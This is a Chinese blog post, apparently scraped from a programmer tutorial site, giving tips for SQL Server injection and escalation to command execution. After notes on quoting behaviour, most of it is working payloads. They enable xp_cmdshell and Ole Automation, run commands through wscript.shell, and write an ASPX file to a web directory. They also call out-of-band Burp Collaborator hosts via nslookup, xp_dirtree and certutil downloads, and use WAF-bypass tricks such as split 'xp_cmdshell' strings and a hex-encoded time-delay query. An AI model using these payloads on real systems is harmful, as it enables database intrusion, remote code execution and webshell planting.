好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Sql server注入一些tips

1 .sql server兼容性可以说是最差的。 举例: select x from y where id = 1 字符串查询 select x from y where id = ‘ 1 ‘ 这是会报错的,不允许的 select x from y where id = " 1 " 假设y表有列名name,那么 select x from y where id = "name" 为真。 那么利用这个特性我们可以爆破这个表的列名。 sql server下,挖掘注入就是用单引号( ‘ ),双引号的场景很少,但是也有。 sql server不支持 ‘ 1 ‘ - ‘ 1 ‘ =0这种运算,他会认为你是错误的,两个字符串无法进行相减,如果你是 ‘ 1 ‘ -0他会进行类型转换不会出错。 修改: update x set name= ‘ admin ‘ where id=1 如果id处存在注入,那么本质上就是个where条件查询注入,查询怎么注入他就怎么注入。 update x set name="admin" where id=1 他会报错,没有人会这样写,用双引号。 测试sql server 修改注入,只能是 ‘ aaa ‘ + ‘ bbb ‘ =aaabbb,如果可以就是注入。 或者是 ‘ aaa ‘‘ 和 ‘ aaa ‘‘‘ 除order by / group by外注入: 环境场景:当输入id -> 输出id相关数据,输入name,出现name相关数据,可能是order by还有可能是什么? ""是sql servr标识符,而不是字符串,他和mysql不一样 还有可能是这样的: select "name" from x 那么你可以这样去探测:name","id 总结:测试sql server注入使用双引号测试的场景很少,尝试"是不明智的

    

     sql server注入到命令执行一些tips:

    

 基础:
开启xp_cmdshell
  EXEC  sp_configure  ‘  show advanced options  ‘ ,  1 ; RECONFIGURE ; EXEC  sp_configure  ‘  xp_cmdshell  ‘ ,  1 ; RECONFIGURE  ;

执行命令:
  exec  master..xp_cmdshell  ‘  ping dnslog  ‘ 

 2  .启用sp_oacreate
  EXEC  sp_configure  ‘  show advanced options  ‘ ,  1  ;   
  RECONFIGURE   WITH   OVERRIDE;   
  EXEC  sp_configure  ‘  Ole Automation Procedures  ‘ ,  1  ;   
  RECONFIGURE   WITH   OVERRIDE;

执行命令:
  declare   @shell   int   exec  sp_oacreate  ‘  wscript.shell  ‘ , @shell  output  exec  sp_oamethod  @shell , ‘  run  ‘ , null , ‘  c:\windows\system32\cmd.exe /c whoami >c:\\1.txt  ‘  

;  declare  +% 40shell +  int  +  exec  + sp_oacreate +  ‘  wscript.shell  ‘ , % 40shell + output +  exec  + sp_oamethod +% 40shell, ‘  run  ‘ , null , ‘  c%3a\windows\system32\nslookup.exe%20"http://2ruqida2pbiyia3mnwnsaiadu40vok.burpcollaborator.net"  ‘  ;


;  declare  +  @f  +  int , @g  +  int ; exec  + sp_oacreate +% 27Scripting.FileSystemObject %  27 , @f  + output; EXEC  + SP_OAMETHOD +  @f , % 27CreateTextFile %  27 , @f  + OUTPUT, % 27d:\Dzts\zt\admin\ 65 .txt %  27 , 1 ; EXEC  + sp_oamethod +  @f , % 27WriteLine %  27 , null , %  27  <% @ + Page + Language = "C %  23 " %><%+ Response.Write("hello,world"); +%>%  27  --
  3  .调用sp_oamethod

关于bypass:
  exec  =  execute  
原语句:  execute  master..xp_dirtree  ‘  c:  ‘  
改造:  execute ( ‘  master..xp_dirtree "c:"   ‘  )
再次改造:  execute ( ‘  master..xp_dirtree "\\im86rc9bogsvyfv87zip9sz34uaky9.burpcollaborator.net"  ‘  )

  

 

 

 

  

 bypass执行命令:
  ‘  ;execute(  ‘ xp_c ‘  %2b  ‘ mdshell " certutil.exe  - urlcache  - split  - f http: // cyen6bl8kg2svupmggzc6dk1zs5it7.burpcollaborator.net" ‘  );--%20111 

 

  

 开启xp_cmdshell bypass:
  execute ("sp_configure  ‘  show advanced options  ‘ ,  1 "); RECONFIGURE ; execute ("sp_configure  ‘  xp_cmdshell  ‘ ,  1 ; RECONFIGURE  ");

sql server专属特性:
  select  1e1select  user   
相当于执行select 1e1 和select   user  ,bypass waf
  ‘  select 1e1declare @s varchar (8000) set @s=0x77616974666F722064656C61792027303A303A3227 exec (@s) -- a


案例:
aspx/.net站点支持get/post/cookie 

  把get参数放到cookie中:

 

 

      

Sql server注入一些tips

标签:weight   修改   loading   总结   char   OLE   ide   ida   ora   

查看更多关于Sql server注入一些tips的详细内容...

  阅读:26次